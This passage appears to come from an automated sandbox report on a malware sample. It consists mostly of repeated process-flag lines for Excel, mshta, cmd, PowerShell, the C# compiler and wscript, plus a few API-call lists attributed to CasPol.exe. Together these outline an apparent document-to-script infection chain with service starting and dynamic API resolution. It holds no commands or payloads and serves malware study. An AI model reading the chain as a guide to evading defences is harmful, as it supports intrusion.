                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,29_2_00419BC4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,29_2_0041BCE3
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
